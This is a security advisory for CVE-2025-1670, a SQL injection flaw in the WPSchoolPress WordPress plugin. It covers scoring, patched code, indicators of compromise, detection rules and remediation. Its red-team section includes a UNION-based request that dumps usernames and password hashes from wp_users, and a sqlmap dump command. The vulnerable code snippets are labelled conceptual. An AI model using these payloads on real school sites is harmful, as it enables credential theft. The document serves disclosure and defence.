CVE-2025-1670

Executive Summary

CVE-2025-1670 is a critical SQL Injection vulnerability discovered in the WPSchoolPress WordPress plugin (versions up to and including 2.2.16). The flaw resides in the cid parameter, which is insufficiently sanitized before being used in SQL queries. An authenticated attacker with at least Custom-level access can exploit this to inject arbitrary SQL commands, leading to unauthorized extraction of sensitive data from the WordPress database, including user credentials, personal information, and site configuration.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is used by educational institutions to manage school operations, making this a high-risk target for data breaches.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Authenticated with Custom-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for data exfiltration and the widespread use of this plugin in educational environments elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the cid parameter, likely used in a query to fetch class or course data. The plugin fails to escape the user-supplied input and does not use prepared statements. An attacker with Custom-level access (e.g., a teacher or administrator) can manipulate the cid parameter to break out of the intended SQL query and execute arbitrary commands.

Example vulnerable code snippet (conceptual):

$cid = $_GET['cid'];
$query = "SELECT * FROM wp_wpsp_classes WHERE id = $cid";
$result = $wpdb->get_results($query);

The attacker can inject a UNION-based payload to extract data from other tables, such as wp_users.

Exploitation vector:

• Authenticated user with Custom-level privileges.
• HTTP GET request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wpsp_get_class&cid=1 UNION SELECT ...).
• The injected SQL returns data from other tables, which is then displayed in the response.

Vulnerable vs. Patched Code

Vulnerable code (<= 2.2.16):

$cid = $_REQUEST['cid'];
$class_data = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wpsp_class WHERE cid = $cid");

Patched code (hypothetical):

$cid = intval($_REQUEST['cid']);
$class_data = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wpsp_class WHERE cid = %d", $cid));

The patch uses intval() to cast the input to an integer and $wpdb->prepare() to safely parameterize the query. Since no official patch is available, users must apply this fix manually or disable the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with WPSchoolPress <= 2.2.16.
• Authenticated user with Custom-level access (e.g., teacher role).

Step-by-step exploitation:

1. Identify vulnerable endpoint: Use a proxy (e.g., Burp Suite) to intercept requests. Look for parameters like cid in AJAX actions (e.g., admin-ajax.php?action=wpsp_get_class).

2. Craft SQL injection payload:

   GET /wp-admin/admin-ajax.php?action=wpsp_get_class&cid=1 UNION SELECT user_login,user_pass,user_email,user_registered,user_activation_key,display_name,ID FROM wp_users--
   

3. Extract data: The response will include the injected data (e.g., usernames and password hashes).

Automated exploitation (using sqlmap):

sqlmap -u "http://target/wp-admin/admin-ajax.php?action=wpsp_get_class&cid=1" --cookie="wordpress_logged_in=..." --batch --dump

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in cid parameter (e.g., UNION, SELECT, --).
• Alert on unusual database queries from the WordPress user.

Honeypot:

• Deploy a fake endpoint that mimics the vulnerable function and logs attacker payloads.

Lab setup:

# Install vulnerable plugin
wp plugin install wpschoolpress --version=2.2.16 --activate
# Create a teacher user
wp user create teacher teacher@example.com --role=teacher

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing cid= followed by SQL keywords (e.g., UNION, SELECT, OR 1=1).
  • Unusual response sizes or database error messages in AJAX responses.

• File IOCs:

  • Modified plugin files (e.g., wp-content/plugins/wpschoolpress/).
  • Suspicious entries in WordPress debug logs (wp-content/debug.log).

• Database IOCs:

  • Unexpected rows in wp_users or wp_options tables.
  • Queries with UNION or OR in the wp_wpsp_class table.

Detection Engineering

YARA Rule

rule CVE_2025_1670_WPSchoolPress_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting WPSchoolPress cid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1670"
    strings:
        $s1 = "cid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "wp_users" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) or ($s1 and $s5)
}

Sigma Rule

title: SQL Injection Attempt Against WPSchoolPress cid Parameter
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection patterns in HTTP requests to WPSchoolPress endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 'cid='
        c-uri|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in custom queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1670 WPSchoolPress SQL Injection Attempt"; flow:to_server,established; content:"cid="; http_uri; content:"UNION"; http_uri; content:"SELECT"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Disable the plugin until a patch is released.
2. Apply virtual patching using a WAF (e.g., ModSecurity) to block SQL injection patterns in the cid parameter.
3. Restrict Custom-level access to only trusted users.

Long-term fixes:

• Update the plugin to a patched version (once available).
• Implement input validation and prepared statements in all database queries.
• Conduct a security audit of the entire plugin codebase.

Workaround (manual patch): Edit the vulnerable file (e.g., wp-content/plugins/wpschoolpress/includes/class-wpsp-ajax.php) and replace:

$cid = $_REQUEST['cid'];

with:

$cid = intval($_REQUEST['cid']);

Valters IT
Securing Digital Ecosystems